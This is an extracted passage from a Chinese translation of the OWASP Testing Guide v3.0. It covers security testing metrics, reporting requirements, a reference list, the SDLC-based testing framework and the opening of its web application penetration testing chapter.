在 应 用 程 序 测 试 中 发 现 的 问 题 数 量 有 关 。 应 用 程 序 规 模 的 一 项 衡 量 标 准 是 应 用 中 的 代 码 排 数 (LOC)。 一 般 来 说 ,<br />

软 件 质 量 中 的 瑕 疵 范 围 大 约 是 每 一 千 条 新 的 或 者 变 化 代 码 中 有 7 到 10 个 [21]。 由 于 通 过 一 次 测 试 可 以 减 少 大 约 整<br />

体 数 量 中 25%, 逻 辑 上 来 讲 , 规 模 大 的 应 用 程 序 应 该 比 小 规 模 的 做 更 多 更 频 繁 的 测 试 。<br />

当 在 SDLC 的 几 个 阶 段 都 完 成 安 全 测 试 时 , 在 侦 查 弱 点 方 面 的 测 验 数 据 就 能 证 明 安 全 测 试 的 能 力 , 在 SDLC 的 不 同 的<br />

监 测 点 , 这 些 弱 点 一 旦 引 入 , 就 能 通 过 执 行 对 抗 措 施 证 明 移 除 它 们 的 有 效 性 。 这 个 类 型 的 衡 量 标 准 也 被 定 义 成 “ 容<br />

量 度 规 ”, 并 且 提 供 开 发 过 程 中 维 持 各 个 阶 段 安 全 的 演 示 的 安 全 评 估 能 力 的 衡 量 标 准 。 这 些 容 量 度 规 对 于 降 低 修 复<br />

弱 点 的 费 用 也 是 至 关 重 要 的 因 素 , 因 为 在 同 一 个 SDLC 阶 段 修 补 弱 点 比 到 另 一 个 阶 段 修 补 它 花 费 的 代 价 小 很 多 。<br />

当 它 同 有 形 和 计 时 的 目 标 联 系 在 一 起 时 , 安 全 测 试 度 规 对 安 全 风 险 、 费 用 和 瑕 疵 管 理 分 析 有 以 下 帮 助 :<br />

• 减 少 30% 的 漏 洞<br />

• 安 全 问 题 有 望 在 期 限 内 修 复 ( 如 : 在 Beta 发 行 之 前 )<br />

36


OWASP 测 试 指 南 v3.0<br />

安 全 测 验 数 据 可 以 是 绝 对 的 , 例 如 在 手 工 代 码 审 查 期 间 查 出 的 弱 点 数 量 , 以 及 比 较 性 , 例 如 在 代 码 审 查 出 的 弱 点 数<br />

量 vs 渗 透 测 试 查 出 的 弱 点 数 量 。 要 回 答 关 于 安 全 程 序 的 质 量 问 题 , 必 须 确 定 一 条 分 辨 能 否 接 受 和 好 坏 的 基 础 线 。<br />

安 全 测 试 数 据 也 可 体 现 安 全 分 析 的 具 体 宗 旨 , 例 如 遵 照 安 全 程 序 的 安 全 章 程 和 信 息 安 全 标 准 、 管 理 方 式 ; 识 别 安 全<br />

起 因 和 程 序 改 进 , 安 全 花 费 vs 效 益 分 析 。<br />

当 报 告 安 全 测 试 数 据 时 需 要 提 供 度 规 以 支 持 分 析 。 分 析 的 范 围 是 解 释 测 试 数 据 并 找 到 关 于 生 产 出 软 件 的 安 全 性 和 程<br />

序 的 有 效 性 。 支 持 安 全 测 试 数 据 线 索 的 例 子 是 :<br />

• 漏 洞 已 经 减 少 到 可 以 发 行 的 验 收 水 平 ?<br />

• 与 类 似 的 软 件 产 品 相 比 , 这 个 产 品 的 安 全 质 量 如 何 ?<br />

• 是 否 达 到 所 有 安 全 测 试 要 求 ?<br />

• 安 全 问 题 的 主 要 起 因 是 什 么 ?<br />

• 相 对 于 安 全 缺 陷 , 安 全 bug 有 多 少 ?<br />

• 哪 种 安 全 行 为 对 发 现 弱 点 最 有 效 ?<br />

• 哪 个 团 队 在 修 复 安 全 瑕 疵 和 弱 点 是 效 率 最 高 ?<br />

• 高 风 险 的 漏 洞 所 占 的 百 分 比 ?<br />

• 哪 些 工 具 侦 查 安 全 漏 洞 是 最 有 效 的 ?<br />

• 哪 种 安 全 测 试 寻 找 弱 点 最 有 效 ( 如 白 盒 vs 黑 盒 )?<br />

• 安 全 代 码 复 查 时 发 现 多 少 安 全 问 题 ?<br />

• 安 全 设 计 复 查 时 发 现 多 少 安 全 问 题 ?<br />

为 了 根 据 测 试 数 据 做 正 确 判 断 , 很 好 地 理 解 测 试 过 程 和 测 试 工 具 很 重 要 。 应 该 采 用 工 具 分 类 学 决 定 应 该 使 用 哪 些<br />

安 全 工 具 。 合 格 的 安 全 工 具 擅 长 于 在 不 同 的 产 品 中 发 现 普 通 的 已 知 弱 点 。 问 题 是 未 知 的 安 全 问 题 没 有 被 检 测 到 :<br />

事 实 上 , 干 净 的 测 试 结 果 并 不 能 表 示 的 的 软 件 产 品 或 应 用 程 序 是 没 有 漏 洞 的 。 一 些 研 究 [22] 显 示 , 最 好 工 具 可 能<br />

发 现 整 体 漏 洞 中 的 45%。<br />

即 使 是 最 复 杂 的 自 动 化 工 具 也 不 是 一 位 老 练 的 安 全 测 试 者 的 对 手 : 仅 仅 依 靠 从 自 动 化 工 具 中 获 得 的 成 功 的 测 试 结 果<br />

将 给 安 全 实 习 生 对 安 全 问 题 产 生 错 感 。 一 般 , 拥 有 安 全 测 试 的 方 法 学 和 测 试 工 具 的 越 有 经 验 的 测 试 者 , 获 得 的 安 全<br />

分 析 和 测 试 的 结 果 更 准 确 。 管 理 层 在 安 全 测 试 工 具 方 面 的 投 资 和 雇 佣 有 经 验 的 人 力 资 源 和 安 全 测 试 培 训 被 认 为 是 同<br />

等 重 要 的 。<br />

报 告 要 求<br />

应 用 程 序 的 安 全 状 态 可 以 从 效 果 方 面 的 透 视 描 绘 , 例 如 弱 点 数 量 和 弱 点 的 风 险 等 级 ; 也 可 以 从 起 因 方 面 透 视 ( 即 根<br />

源 ), 例 如 编 码 错 误 、 构 造 缺 点 和 配 置 问 题 。<br />

37


弱 点 可 以 根 据 不 同 的 标 准 分 类 。 这 可 以 是 统 计 范 畴 , 例 如 OWASP 名 列 前 10 和 WASC Web 应 用 程 序 安 全 统 计 工 程 或 者<br />

在 WASF(Web 应 用 程 序 安 全 框 架 ) 中 的 防 御 控 制 。<br />

当 报 告 安 全 测 试 数 据 时 , 最 好 是 包 含 以 下 信 息 , 除 每 个 弱 点 的 类 型 分 类 以 外 :<br />

• 问 题 引 起 的 安 全 威 胁<br />

• 安 全 问 题 的 起 因 ( 即 : 安 全 bug, 安 全 漏 洞 )<br />

• 用 于 发 现 的 测 试 技 术<br />

• 漏 洞 的 修 复 ( 如 对 抗 措 施 )<br />

• 漏 洞 的 风 险 等 级 ( 高 、 中 、 下 )<br />

通 过 描 述 什 么 是 安 全 威 胁 , 就 可 能 理 解 在 缓 和 威 胁 时 是 否 或 为 什 么 缓 和 控 制 是 无 效 的 。<br />

报 告 问 题 的 起 因 可 能 帮 助 精 确 定 位 什 么 需 要 修 复 : 例 如 , 在 白 盒 子 测 试 下 , 软 件 安 全 引 起 的 弱 点 会 与 源 代 码 冲 突 。<br />

一 旦 报 告 了 问 题 , 提 供 指 南 给 开 发 员 怎 样 再 测 试 并 发 现 漏 洞 也 是 很 重 要 的 。 这 也 许 涉 及 到 使 用 白 盒 测 试 技 术 ( 即 ,<br />

通 过 一 台 静 态 代 码 分 析 仪 做 安 全 代 码 审 查 ) 寻 找 代 码 是 否 是 有 弱 点 。 如 果 漏 洞 可 以 通 过 黑 盒 子 技 术 ( 渗 透 测 试 ) 发<br />

现 , 测 试 报 告 也 需 要 将 在 前 端 ( 客 户 端 ) 怎 样 验 证 弱 点 泄 露 的 信 息 提 供 给 用 户 指 南 。<br />

提 供 足 够 的 关 于 怎 样 修 补 漏 洞 的 信 息 帮 助 开 发 员 事 实 维 修 部 工 作 。 信 息 中 应 该 包 含 : 安 全 编 码 例 子 、 配 置 变 化 , 并<br />

且 提 供 充 分 参 考 。<br />

最 后 风 险 等 级 帮 助 解 决 给 予 修 复 过 程 的 优 先 权 。 一 般 , 分 配 弱 点 的 风 险 等 级 需 要 涉 及 到 建 立 在 某 些 因 素 ( 冲 击 和 泄<br />

露 ) 基 础 上 的 风 险 分 析 。<br />

商 业 案 例<br />

证 明 安 全 测 试 度 规 有 用 的 途 径 在 于 必 须 给 予 组 织 中 安 全 测 试 数 据 拥 有 人 ( 例 如 项 目 负 责 人 , 开 发 员 、 信 息 安 全 办 公<br />

室 、 审 计 员 和 首 席 信 息 员 ) 价 值 回 报 。 价 值 的 分 配 是 根 据 每 个 参 与 者 扮 演 的 角 色 和 责 任 。<br />

软 件 开 发 员 根 据 安 全 测 试 数 据 来 实 现 更 加 安 全 和 高 效 的 软 件 编 码 , 因 此 他 们 在 编 写 软 件 时 使 用 源 代 码 分 析 工 具 、 遵<br />

照 安 全 编 码 标 准 并 参 与 软 件 安 全 培 训 。<br />

项 目 负 责 人 根 据 项 目 计 划 寻 找 数 据 , 用 以 成 功 地 管 理 和 使 用 安 全 测 试 行 为 和 资 源 。 对 项 目 负 责 人 来 说 , 安 全 测 验 数<br />

据 可 以 表 明 在 : 项 目 进 展 正 常 , 可 以 如 期 交 货 , 并 且 在 测 试 中 变 得 更 完 美 。<br />

安 全 测 验 数 据 同 样 也 可 以 帮 助 安 全 测 试 中 商 业 案 例 , 如 果 主 动 性 来 自 信 息 安 全 专 家 (ISOs)。 例 如 , 它 可 能 证 明 在<br />

SDLC 期 间 的 安 全 测 试 不 会 影 响 项 目 交 付 , 而 且 后 面 的 生 产 中 减 少 弱 点 寻 址 的 整 个 工 作 量 。<br />

为 了 规 范 审 计 员 , 安 全 测 试 度 规 提 供 了 软 件 安 全 保 证 和 信 心 , 也 就 是 安 全 标 准 规 范 通 过 安 全 审 查 程 序 。<br />

终 于 , 首 席 信 息 专 家 (CIOs) 和 首 席 信 息 安 全 专 家 (CISOs), 负 责 对 分 配 安 全 资 源 的 预 算 , 从 安 全 测 验 数 据 中 分 析 成<br />

本 与 效 益 , 并 作 出 投 资 哪 个 安 全 行 为 和 工 具 的 明 智 决 定 。 支 持 这 样 分 析 的 其 中 一 个 度 规 是 安 全 的 投 资 回 报 (ROI)<br />

38


OWASP 测 试 指 南 v3.0<br />

[23]。 从 安 全 测 验 数 据 要 获 得 这 样 度 规 , 定 量 由 于 弱 点 泄 露 引 起 的 风 险 和 缓 和 安 全 风 险 时 安 全 测 试 的 效 率 之 间 的<br />

差 别 是 很 重 要 的 , 并 将 这 个 差 异 计 入 安 全 测 试 行 为 和 采 用 的 测 试 工 具 的 成 本 之 中 。<br />

参 考 资 料<br />

[1] T. De Marco, Controlling Software Projects: Management, Measurement and Estimation, Yourdon Press, 1982<br />

[2] S. Payne, A Guide to Security Metrics - http://www.sans.org/reading_room/whitepapers/auditing/55.php<br />

[3] NIST, The economic impacts of inadequate infrastructure for software testing - http://www.nist.gov/public_affairs/releases/n02-<br />

10.htm<br />

[4] Ross Anderson, Economics and Security Resource Page - http://www.cl.cam.ac.uk/users/rja14/econsec.html<br />

[5] Denis Verdon, Teaching Developers To Fish - http://www.owasp.org/index.php/OWASP_AppSec_NYC_2004<br />

[6] Bruce Schneier, Cryptogram Issue #9 - http://www.schneier.com/crypto-gram-0009.html<br />

[7] Symantec, Threat Reports - http://www.symantec.com/business/theme.jsp?themeid=threatreport<br />

[8] FTC, The Gramm-Leach Bliley Act - http://www.ftc.gov/privacy/privacyinitiatives/glbact.html<br />

[9] Senator Peace and Assembly Member Simitian, SB 1386- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-<br />

1400/sb_1386_bill_20020926_chaptered.html<br />

[10] European Union, Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free<br />

movement of such data - http://ec.europa.eu/justice_home/fsj/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf<br />

[11] NIST, Risk management guide for information technology systems - http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf<br />

[12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) - http://www.cert.org/octave/<br />

[13] Ken Thompson, Reflections on Trusting Trust, Reprinted from Communication of the ACM - http://cm.belllabs.com/who/ken/trust.html<br />

[14] Gary McGraw, Beyond the Badness-ometer - http://www.ddj.com/security/189500001<br />

[15] FFIEC, Authentication in an Internet Banking Environment - http://www.ffiec.gov/pdf/authentication_guidance.pdf<br />

[16] PCI Security Standards Council, PCI Data Security Standard -https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml<br />

[17] MSDN, Cheat Sheet: Web Application Security Frame - http://msdn.microsoft.com/enus/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe<br />

[18] MSDN, Improving Web Application Security, Chapter 2, Threat And Countermeasures - http://msdn.microsoft.com/enus/library/aa302418.aspx<br />

39


[19] Gil Regev, Ian Alexander,Alain Wegmann, Use Cases and Misuse Cases Model the Regulatory Roles of Business Processes -<br />

http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm<br />

[20] Sindre,G. Opdmal A., Capturing Security Requirements Through Misuse Cases ' - http://folk.uio.no/nik/2001/21-sindre.pdf<br />

[21] Security Across the Software Development Lifecycle Task Force, Referred Data from Caper Johns, Software Assessments, Benchmarks<br />

and Best Practices -http://www.cyberpartnership.org/SDLCFULL.pdf<br />

[22] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE -http://cwe.mitre.org/documents/beingexplicit/BlackHatDC_BeingExplicit_Slides.ppt<br />

[23] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - http://www.blackhat.com/presentations/bh-usa-<br />

06/bh-us-06-Morana-R3.0.pdf<br />

40


OWASP 测 试 指 南 v3.0<br />

3. OWASP 测 试 框 架<br />

概 述<br />

本 节 主 要 介 绍 可 用 于 组 织 或 企 业 进 行 应 用 测 试 的 典 型 的 测 试 框 架 。 它 可 以 被 看 作 是 包 含 技 术 和 任 务 的 一 个 参 考 框<br />

架 , 适 用 于 软 件 开 发 生 命 周 期 (SDLC) 的 各 个 阶 段 。 公 司 和 项 目 团 队 可 以 使 用 这 个 模 式 , 为 自 己 或 服 务 供 应 商 开 发<br />

测 试 框 架 和 范 围 测 试 。 这 个 框 架 不 应 该 被 看 作 是 指 令 性 的 , 但 作 为 一 个 灵 活 的 做 法 , 可 以 延 长 和 变 形 , 以 适 应 一 个<br />

组 织 的 发 展 进 程 和 文 化 。<br />

本 节 的 目 的 是 帮 助 组 织 或 企 业 建 立 一 个 完 整 的 战 略 测 试 过 程 , 而 不 是 帮 助 一 些 顾 问 或 从 事 策 略 性 的 具 体 测 试 工 作 的<br />

代 理 商 。<br />

至 关 重 要 的 是 理 解 为 什 么 建 立 一 个 端 到 端 的 测 试 框 架 对 评 估 和 改 善 软 件 的 安 全 至 关 重 要 。 Howard 和 LeBlanc 在 安 全<br />

代 码 开 发 中 指 出 微 软 安 全 公 告 发 布 的 费 用 至 少 在 10 万 美 元 , 同 时 , 他 们 的 客 户 的 损 失 远 远 超 过 安 全 补 丁 实 施 。 他<br />

们 还 指 出 , 美 国 政 府 的 网 络 犯 罪 网 站 (http://www.cybercrime.gov/cccases.html) 对 详 细 列 举 了 各 组 织 机 构 最 近 的 刑 事<br />

案 件 和 所 造 成 的 损 失 。 典 型 的 损 失 远 远 超 过 10 万 美 元 。<br />

根 据 这 样 的 经 济 损 失 状 况 , 不 难 理 解 为 什 幺 软 件 厂 商 不 再 只 在 软 件 开 发 后 进 行 黑 盒 安 全 测 试 , 而 是 转 向 软 件 开 发 的<br />

早 期 , 如 定 义 阶 段 , 设 计 阶 段 和 发 展 阶 段 。<br />

许 多 安 全 从 业 人 员 对 安 全 测 试 的 认 识 仍 然 停 留 在 渗 透 测 试 的 范 围 内 。 正 如 之 前 讨 论 , 渗 透 测 试 虽 然 发 挥 了 一 定 的 作<br />

用 , 但 它 的 作 用 不 足 以 发 现 所 有 的 漏 洞 , 同 时 它 过 分 依 赖 测 试 者 的 技 巧 。 渗 透 测 试 只 能 当 做 是 一 种 执 行 技 术 或 者 是<br />

用 来 提 高 对 产 生 问 题 的 意 识 。 要 改 善 应 用 程 序 的 安 全 , 必 须 提 高 软 件 的 安 全 质 量 。 这 意 味 着 需 要 在 软 件 开 发 的 定<br />

义 , 设 计 , 发 展 , 部 署 和 安 装 阶 段 测 试 其 安 全 , 而 不 是 依 靠 等 到 代 码 完 成 建 立 才 进 行 测 试 这 样 的 昂 贵 的 策 略 。<br />

正 如 该 文 档 中 所 介 绍 的 , 有 很 多 相 对 先 进 的 开 发 方 法 , 如 Rational Unified Process,eXtreme and Agile development<br />

以 及 传 统 的 瀑 布 方 法 。 该 指 南 并 没 有 建 议 特 定 的 开 发 方 法 , 也 没 有 坚 持 以 任 何 特 定 的 方 法 提 供 具 体 的 指 导 。 相 反 ,<br />

我 们 提 出 了 一 个 通 用 的 发 展 模 式 , 读 者 应 当 根 据 自 己 公 司 的 进 程 遵 循 它 。<br />

该 测 试 框 架 应 当 包 括 以 下 内 容 :<br />

• 开 发 开 始 前 进 行 测 试<br />

• 定 义 和 设 计 过 程 中 进 行 测 试<br />

• 开 发 过 程 中 进 行 测 试<br />

• 部 署 过 程 中 进 行 测 试<br />

• 维 护 和 运 行<br />

第 1 阶 段 : 开 发 开 始 前 进 行 测 试<br />

在 应 用 开 发 之 前 开 始 测 试 :<br />

41


• 测 试 以 确 保 有 一 个 充 分 的 包 括 安 全 性 的 软 件 开 发 生 命 周 期<br />

• 测 试 以 确 保 目 前 开 发 小 组 采 有 一 个 适 当 的 策 略 和 标 准<br />

• 开 发 测 试 指 标 和 衡 量 标 准<br />

阶 段 1A: 审 查 策 略 和 标 准<br />

确 保 有 适 当 的 政 策 , 标 准 和 文 件 。 文 件 是 极 为 重 要 的 , 它 给 了 开 发 团 队 可 以 遵 循 的 指 导 方 针 和 政 策 。<br />

人 只 能 做 正 确 的 事 情 , 如 果 他 们 知 道 什 幺 是 正 确 的 。<br />

如 果 应 用 程 序 师 在 Java 中 开 发 的 , 那 幺 有 一 个 Java 安 全 编 码 标 准 是 十 分 重 要 的 ; 如 果 应 用 程 序 要 使 用 加 密 技 术 ,<br />

那 幺 有 一 个 加 密 标 准 是 十 分 重 要 的 ; 如 果 应 用 程 序 在 Java 中 开 发 , 重 要 的 是 有 一 个 Java 安 全 编 码 标 准 。 如 果 应 用<br />

是 使 用 加 密 技 术 , 重 要 的 是 有 一 个 加 密 标 准 。 没 有 任 何 政 策 或 标 准 可 以 涵 盖 开 发 团 队 面 临 的 所 有 情 况 。 通 过 记 录 的<br />

共 同 的 和 可 预 测 的 问 题 , 在 开 发 过 程 中 就 可 以 少 做 决 定 。<br />

阶 段 1B: 开 发 衡 量 标 准 及 指 标 ( 保 证 可 追 溯 )<br />

在 软 件 开 发 开 始 之 前 , 计 划 衡 量 标 准 项 目 。 通 过 定 义 需 要 被 测 量 的 标 准 , 它 在 过 程 和 产 品 中 提 供 可 见 性 的 瑕 疵 。 在<br />

开 发 开 始 之 前 定 义 度 是 很 重 要 的 , 因 为 为 了 获 取 数 据 或 许 会 需 要 修 改 开 发 的 过 程 。<br />

第 2 阶 段 : 定 义 和 设 计 过 程 中 进 行 测 试<br />

阶 段 2A: 安 全 需 求 审 查<br />

安 全 需 要 从 安 全 角 度 定 义 了 应 用 程 序 如 何 工 作 。 对 安 全 要 求 进 行 测 试 时 很 重 要 的 。 在 这 种 情 况 下 , 测 试 意 味 着 测 试<br />

安 全 要 求 中 的 假 设 , 并 测 试 在 安 全 要 求 定 义 中 是 否 存 在 的 缺 陷 。<br />

例 如 , 如 果 有 一 个 安 全 要 求 指 出 用 户 必 须 注 册 才 能 访 问 网 站 白 皮 书 部 分 , 这 是 否 意 味 着 用 户 必 须 是 系 统 注 册 的 用<br />

户 , 或 者 证 明 用 户 是 真 实 用 户 ? 尽 可 能 确 保 安 全 要 求 明 了 清 晰 。<br />

当 寻 找 安 全 要 求 缺 陷 时 , 需 考 虑 寻 找 安 全 机 制 , 如 :<br />

• 用 户 管 理 ( 密 码 重 置 等 )<br />

• 认 证<br />

• 授 权<br />

• 数 据 保 密<br />

• 完 整 性<br />

42


OWASP 测 试 指 南 v3.0<br />

• 问 责 制<br />

• 会 话 管 理<br />

• 传 输 安 全<br />

• 层 次 系 统 分 离 偏 析<br />

• 隐 私<br />

阶 段 2B: 设 计 和 架 构 审 查<br />

应 用 应 该 有 设 计 和 架 构 文 档 。 这 里 所 说 的 文 档 , 指 的 是 模 型 、 原 文 文 件 和 其 他 相 似 的 工 件 。 测 试 这 些 工 件 是 对 保<br />

证 开 发 设 计 强 制 执 行 安 全 需 求 中 适 用 的 安 全 水 平 具 有 非 凡 的 意 义 。<br />

在 设 计 阶 段 进 行 安 全 漏 洞 检 测 不 仅 是 检 测 漏 洞 最 省 钱 的 阶 段 之 一 , 同 样 也 是 做 修 改 最 有 效 的 地 方 之 一 。 例 如 , 如 果<br />

证 实 设 计 需 要 在 多 个 地 方 作 出 授 权 决 定 , 那 幺 应 适 当 考 虑 一 个 中 央 授 权 部 分 。 如 果 应 用 在 多 个 地 方 进 行 数 据 有 效 性<br />

检 验 , 应 适 当 考 虑 开 发 一 个 中 央 检 验 框 架 ( 在 一 个 地 方 定 向 输 入 检 验 比 在 数 百 个 地 方 输 入 更 加 便 宜 。)。<br />

如 果 发 现 弱 点 , 系 统 架 构 师 能 通 过 多 种 方 法 找 到 他 们 。<br />

阶 段 2C: 创 建 并 审 查 UML 模 型<br />

设 计 架 构 一 旦 完 成 , 建 立 统 一 建 模 语 言 ( UML ) 模 型 , 描 述 应 用 工 程 如 何 工 作 。 在 某 些 情 况 下 , 这 些 模 型 可 能 已 经<br />

可 用 。 使 用 这 些 模 式 , 以 确 认 系 统 设 计 者 提 供 了 一 种 准 确 地 理 解 应 用 工 程 如 何 工 作 。 如 果 发 现 弱 点 , 系 统 架 构 师 能<br />

通 过 多 种 方 法 找 到 他 们 。<br />

阶 段 2D: 创 建 并 审 查 威 胁 模 型<br />

有 了 设 计 架 构 审 查 , 以 及 UML 模 型 解 释 究 竟 系 统 如 何 工 作 , 还 需 要 进 行 威 胁 建 模 工 作 。 制 定 切 合 实 际 的 威 胁 模<br />

型 。 分 析 设 计 架 构 , 以 确 保 这 些 威 胁 已 经 减 少 至 企 业 或 第 三 方 团 体 如 保 险 公 司 所 能 接 受 的 程 度 。 当 确 认 威 胁 没 有 缓<br />

解 策 略 时 , 系 统 设 计 师 重 新 访 问 设 计 构 架 以 重 新 修 改 设 计 。 没 有 任 何 威 胁 的 减 灾 战 略 , 建 筑 设 计 师 应 重 新 设 计 和 修<br />

改 系 统 设 计 。<br />

第 3 阶 段 : 开 发 过 程 中 进 行 测 试<br />

理 论 上 , 开 发 是 设 计 的 实 施 。 然 而 , 实 际 上 在 代 码 发 展 期 间 需 要 做 许 多 决 策 设 计 。 有 许 多 因 为 过 分 细 节 化 而 没 有<br />

写 入 设 计 架 构 的 问 题 需 要 自 行 决 定 , 或 者 在 某 些 情 况 下 , 某 些 问 题 并 没 有 策 略 或 标 准 的 指 导 。 如 果 设 计 架 构 不 是<br />

充 分 的 , 开 发 者 面 对 许 多 决 定 。 如 果 策 略 和 标 准 有 不 足 , 开 发 者 将 面 对 更 多 的 决 定 。<br />

43


阶 段 3A: 代 码 浏 览<br />

安 全 小 组 应 该 与 开 发 者 一 起 进 行 代 码 浏 览 , 某 些 情 况 下 , 系 统 构 架 师 也 应 该 一 同 参 与 。 代 码 浏 览 过 程 中 , 开 发 者 能<br />

解 释 清 楚 被 实 施 的 代 码 的 逻 辑 和 流 程 。 它 使 得 代 码 审 查 团 队 获 得 对 代 码 的 一 般 理 解 , 同 时 开 发 者 能 够 解 释 他 们 采<br />

用 某 种 特 定 的 开 发 方 式 的 原 因 。<br />

这 个 目 的 并 不 是 执 行 代 码 审 查 , 而 是 在 了 解 高 级 流 程 、 布 局 以 及 应 用 代 码 的 结 构 。<br />

阶 段 3B: 代 码 审 查<br />

充 分 理 解 代 码 的 结 构 以 及 采 取 特 定 方 式 进 行 编 码 的 原 因 , 测 试 者 能 检 验 实 际 代 码 可 能 存 在 的 安 全 瑕 疵 。<br />

进 行 静 态 代 码 审 核 , 需 确 认 代 码 遵 循 一 系 列 清 单 , 包 括 :<br />

• 对 有 效 性 , 保 密 性 和 完 整 性 的 业 务 要 求 。<br />

• OWASP 指 南 或 OWASP top 10 中 的 ( 根 据 回 顾 的 深 度 ) 技 术 曝 光 清 单 。<br />

• 与 使 用 语 言 或 框 架 相 关 的 具 体 问 题 , 例 如 PHP 红 皮 书 或 微 软 安 全 编 制 的 红 皮 书 或 微 软 ASP.NET 安 全 编 码 的 检 查 清<br />

单 。<br />

• 任 何 专 门 性 的 行 业 要 求 , 例 如 Sarbanes-Oxley 404, COPPA, ISO 17799, APRA、HIPAA、Visa Merchant 指<br />

南 , 或 者 其 他 管 理 办 法 。<br />

根 据 投 资 的 资 源 ( 一 般 指 时 间 ) 回 报 , 静 态 代 码 审 查 比 其 他 安 全 审 查 方 法 具 有 更 加 优 质 的 回 报 , 并 且 所 依 赖 的 审 核<br />

者 的 专 业 技 能 最 少 。 然 而 , 它 并 不 是 万 能 的 , 在 代 码 审 查 中 , 需 要 在 充 分 的 考 虑 后 小 心 使 用 。<br />

欲 了 解 关 于 OWASP 清 单 的 更 多 信 息 , 请 查 询 OWASP 应 用 安 全 指 南 或 最 近 发 表 的 OWASP Top 10。<br />

第 4 阶 段 : 发 展 过 程 中 进 行 测 试<br />

阶 段 4A: 应 用 程 序 渗 透 测 试<br />

通 过 需 求 测 试 , 设 计 架 构 分 析 和 代 码 审 查 , 也 许 可 以 假 设 所 有 可 能 的 存 在 的 问 题 都 已 被 发 现 。 然 而 , 这 只 是 一 种 假<br />

象 , 渗 透 测 试 通 过 在 应 用 部 署 完 成 后 采 取 一 系 列 的 检 查 可 以 确 保 没 有 任 何 遗 留 问 题 。<br />

阶 段 4B: 配 置 管 理 测 试<br />

应 用 渗 透 测 试 应 包 括 对 基 础 设 施 的 部 署 以 及 安 全 检 查 。 即 使 应 用 是 安 全 的 , 有 些 小 方 面 配 置 可 能 还 处 在 默 认 安 装 阶<br />

段 , 同 样 存 在 漏 洞 。<br />

44


OWASP 测 试 指 南 v3.0<br />

第 5 阶 段 : 维 护 和 运 行<br />

阶 段 5A: 进 行 操 作 管 理 审 查<br />

需 要 一 个 详 细 介 绍 应 用 程 序 和 架 构 操 作 端 管 理 的 流 程 。<br />

阶 段 5B: 进 行 定 期 的 健 康 状 态 检 查<br />

对 应 用 和 基 础 设 施 进 行 以 月 或 者 季 度 为 单 位 的 巡 检 , 以 确 保 没 有 任 何 新 的 安 全 风 险 产 生 , 该 级 别 的 安 全 性 仍 然 不<br />

变 。<br />

阶 段 5C: 确 保 变 更 验 证<br />

在 每 个 变 化 被 批 准 了 并 且 在 在 QA 环 境 进 行 适 当 的 更 改 和 测 试 并 应 用 到 正 式 环 境 后 , 最 重 要 的 是 , 作 为 变 更 管 理 进<br />

程 的 一 部 分 , 确 认 后 的 变 更 行 为 应 确 保 对 该 安 全 级 别 没 有 任 何 影 响 。<br />

典 型 的 SDLC 测 试 工 作 流<br />

下 图 显 示 了 一 个 典 型 的 SDLC 测 试 工 作 流 。<br />

45


OWASP 测 试 指 南 v3.0<br />

4 WEB 应 用 渗 透 测 试<br />

这 一 章 讲 述 OWASP 网 页 应 用 渗 透 性 测 试 技 术 , 并 且 解 释 如 何 测 试 每 个 弱 点 .<br />

4.1 说 明 简 介<br />

何 谓 OWASP 网 页 应 用 渗 透 性 测 试 ?<br />

渗 透 性 测 试 是 通 过 模 拟 入 侵 或 者 袭 来 评 估 电 脑 系 统 或 者 网 络 在 的 安 全 性 的 一 种 方 法 . 一 个 网 页 应 用 的 渗 透 性 测 试 只<br />

评 估 网 页 应 用 的 安 全 性 。<br />

整 个 流 程 包 括 积 极 分 析 应 用 的 弱 点 , 技 术 缺 陷 , 或 者 漏 洞 。 任 何 被 发 现 的 安 全 问 题 将 被 提 交 给 这 个 系 统 的 所 有 者 ,<br />

同 时 被 提 交 的 还 有 对 此 安 全 问 题 所 产 生 影 响 的 评 估 , 以 及 减 小 或 降 低 这 个 问 题 所 产 生 风 险 的 建 议 书 或 技 术 解 决 方<br />

案 。<br />

何 谓 漏 洞 ?<br />

漏 洞 是 在 系 统 设 计 , 实 现 , 或 操 作 管 理 中 可 以 利 用 的 一 个 缺 陷 或 者 一 个 弱 点 , 它 能 破 坏 系 统 安 全 策 略 。 威 胁 是 利 用<br />

漏 洞 产 生 的 潜 在 攻 击 , 可 能 危 害 应 用 资 产 ( 有 价 值 的 资 源 , 如 数 据 库 中 的 数 据 或 文 件 系 统 的 数 据 )。 测 试 就 是 在 应<br />

用 中 找 到 漏 洞 。<br />

何 谓 OWASP 测 试 方 法 ?<br />

渗 透 性 测 试 从 不 是 一 门 精 准 的 能 够 定 义 所 有 可 能 需 要 测 试 的 问 题 的 科 学 。 事 实 上 , 渗 透 性 测 试 只 是 适 合 在 一 定 环 境<br />

下 测 试 WEB 应 用 安 全 的 一 种 技 术 。 目 的 是 收 集 所 有 可 能 的 测 试 技 术 并 进 行 解 释 然 后 及 时 更 新 技 术 指 南 。 OWASP 网<br />

页 应 用 渗 透 性 测 试 是 基 于 黑 盒 测 试 方 法 。 测 试 人 员 不 知 道 或 者 仅 仅 知 道 一 点 关 于 被 测 试 的 系 统 。 测 试 的 模 型 包 括<br />

:<br />

• 测 试 者 : 执 行 测 试 的 人 员<br />

• 工 具 和 方 法 : 测 试 指 导 项 目 的 核 心<br />

• 应 用 : 用 于 测 试 的 黑 盒<br />

测 试 分 成 2 个 阶 段<br />

• 被 动 模 式 : 在 被 动 模 式 里 面 , 测 试 人 员 尽 力 去 明 白 应 用 的 逻 辑 并 使 用 系 统 。 可 以 用 工 具 进 行 信 息 的 收 集 。<br />

比 如 http 代 理 器 观 察 http 的 请 求 和 响 应 。 在 这 个 阶 段 的 最 后 , 测 试 人 员 应 该 了 解 这 个 应 用 所 有 的 控 制 点<br />

( 比 如 Http 头 , 参 数 ,cookies)。 信 息 收 集 章 节 具 体 解 释 了 如 何 执 行 被 动 模 式 的 测 试 。 比 如 , 测 试 者 应<br />

